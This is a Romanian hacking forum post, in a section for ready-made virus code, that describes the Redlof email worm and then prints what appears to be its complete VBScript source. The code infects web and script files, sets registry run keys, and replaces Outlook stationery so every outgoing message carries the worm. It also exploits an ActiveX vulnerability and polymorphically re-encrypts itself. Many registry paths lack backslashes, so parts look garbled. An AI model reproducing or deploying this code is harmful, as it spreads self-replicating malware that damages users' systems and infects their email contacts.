HAKERMANIA
Km tot despre haking 		Lista Forumurilor Pe Tematici
HAKERMANIA | Inregistrare | Login

POZE HAKERMANIA

Nu sunteti logat. 		Nou pe simpatie:
Stefania23 pe Simpatie.ro
Femeie
24 ani
Dolj
cauta Barbat
25 - 46 ani
HAKERMANIA / Coduri gata facute pt a face virusii / Redlof is polymorphic virus that embeds itself without any attachment  
Autor
Mesaj Pagini: 1
cocoju93
Administrator

Inregistrat: acum 18 ani
Postari: 61
Redlof is polymorphic virus that embeds itself without any attachment to every e-mail sent from the infected system. It executes when an infected email message is viewed.

NAME: Redlof
ALIAS: VBS.Redlof, VBS/Redlof
ALIAS: VBS/Redolf

VARIANT: Redlof.A
VARIANT: VBS/Redolf.A

VBS/ directly from an infected message by using a security vulnerbility in Internet Exlorer known as Microsoft VM ActiveX Control Vulnerability. More information about the vulnerability and a fix is available from Microsoft:

When the virus executes, it infects a file "web\Folders.htt" at the Windows installation directory which causes that the virus activates when any directory is opened using the Active Desktop's web folder feature.

The virus also infects files with extensions "htm", "html", "asp", "php", "jsp", "htt" or "vbs".

Redlof drops the following infected files:

\Program Files\Common Files\Microsoft Shared\Stationery\blank.html
\Windows\System\Kernel32.dll
\Windows\web\kjwall.gif
\Windows\system32\desktop.ini

"blank.html" is used to replace the default stationaries for both Outlook and Outlook Express via registry causing that the every message sent from an infected system will carry the virus.

The "Kernel32.dll" is also set to registry so that it will be executed on the system restart:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32

Code:

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
KJSetDim()
KJCreateMilieu()
KJLikeIt()
KJCreateMail()
KJPropagate()
End Sub

Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
TmpStr = ReadTemp.ReadAll
If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function

Function KJChangeSub(CurrentString,LastIndexChar)
If LastIndexChar = 0 Then
If Left(LCase(CurrentString),1) =< LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":"
SubE = 0
End If
Else
KJChangeSub = Mid(CurrentString,1,LastIndexChar)
End If
End Function

Function KJCreateMail()
On Error Resume Next
If InWhere = "html" Then
Exit Function
End If
ShareFile = Left(WinPath,3) & "Program FilesCommon FilesMicrosoft SharedStationeryblank.htm"
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile,"html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
DefaultId = WsShell.RegRead("HKEY_CURRENT_USERIdentitiesDefault User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressMediaVer")
WsShell.RegWrite "HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutlook Express"& Left(OutLookVersion,1) &".0MailCompose Use Stationery",1,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutlook Express"& Left(OutLookVersion,1) &".0MailStationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutlook Express"& Left(OutLookVersion,1) &".0MailWide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0OutlookOptionsMailEditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c000000000000046001e0360","blank")
Call KJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c000000000000046001e0360","blank")
WsShell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMailEditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0CommonMailSettingsNewStationery","blank")
KJummageFolder(Left(WinPath,3) & "Program FilesCommon FilesMicrosoft SharedStationery")
End Function

Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32"
End If
If TempPath = "system32" Then
StartUpFile = WinPath & "SYSTEMKernel32.dll"
Else
StartUpFile = WinPath & "SYSTEMKernel.dll"
End If
WsShell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32",StartUpFile
FSO.CopyFile WinPath & "webkjwall.gif",WinPath & "webFolder.htt"
FSO.CopyFile WinPath & "system32kjwall.gif",WinPath & "system32desktop.ini"
Call KJAppendTo(WinPath & "webFolder.htt","htt")
WsShell.RegWrite "HKEY_CLASSES_ROOT.dll","dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT.dllContent Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOTdllfileDefaultIcon",WsShell.RegRead("HKEY_CLASSES_ROOTvxdfileDefaultIcon")
WsShell.RegWrite "HKEY_CLASSES_ROOTdllfileScriptEngine","VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOTdllFileShellOpenCommand",WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOTdllFileShellExPropertySheetHandlersWSHProps","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOTdllFileScriptHostEncode","{85131631-480C-11D2-B1F9-00C04F86C324}"
Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
FileTemp.Write VbsText
FileTemp.Close
End Function

Function KJLikeIt()
If InWhere <> "html" Then
Exit Function
End If
ThisLocation = document.location
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation,9)
If FSO.GetExtensionName(ThisLocation) <> "" then
ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & ""
End If
KJummageFolder(ThisLocation)
End If
End Function

Function KJMailReg(RegStr,FileName)
On Error Resume Next
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function

Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":"
Exit Do
End If
On Error Resume Next
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.add FolderCount, TempFolder.Name
Next
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString,"",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
SubE = 1
Else
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & ""
Exit Do
Else
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j+1) & ""
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString,"",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
End If
End If
Loop
KJOboSub = CurrentString
End Function

Function KJPropagate()
On Error Resume Next
RegPathValue = "HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressDegree"
DiskDegree = WsShell.RegRead(RegPathValue)
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":"
End If
For i=1 to 5
DiskDegree = KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
WsShell.RegWrite RegPathValue,DiskDegree
End Function

Function KJummageFolder(PathName)
On Error Resume Next
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path,"html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path,"vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
If (UCase(PathName) = UCase(WinPath & "Desktop")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32desktop.ini",PathName
FSO.CopyFile WinPath & "webFolder.htt",PathName
End If
End Function

Function KJSetDim()
On Error Resume Next
Err.Clear
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next
Dim OtherArr(3)
Randomize
For i=0 To 3
OtherArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i=1 To Len(ThisText)
TempNum = Asc(Mid(ThisText,i,1))
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
ThisText = "ExeString = """ & TempString & """"
HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
WinPath = FSO.GetSpecialFolder(0) & ""
If (FSO.FileExists(WinPath & "webFolder.htt")) Then
FSO.CopyFile WinPath & "webFolder.htt",WinPath & "webkjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32desktop.ini")) Then
FSO.CopyFile WinPath & "system32desktop.ini",WinPath & "system32kjwall.gif"
End If
End Function



_______________________________________
Codrutz
pus acum 18 ani
   
Pagini: 1  

Mergi la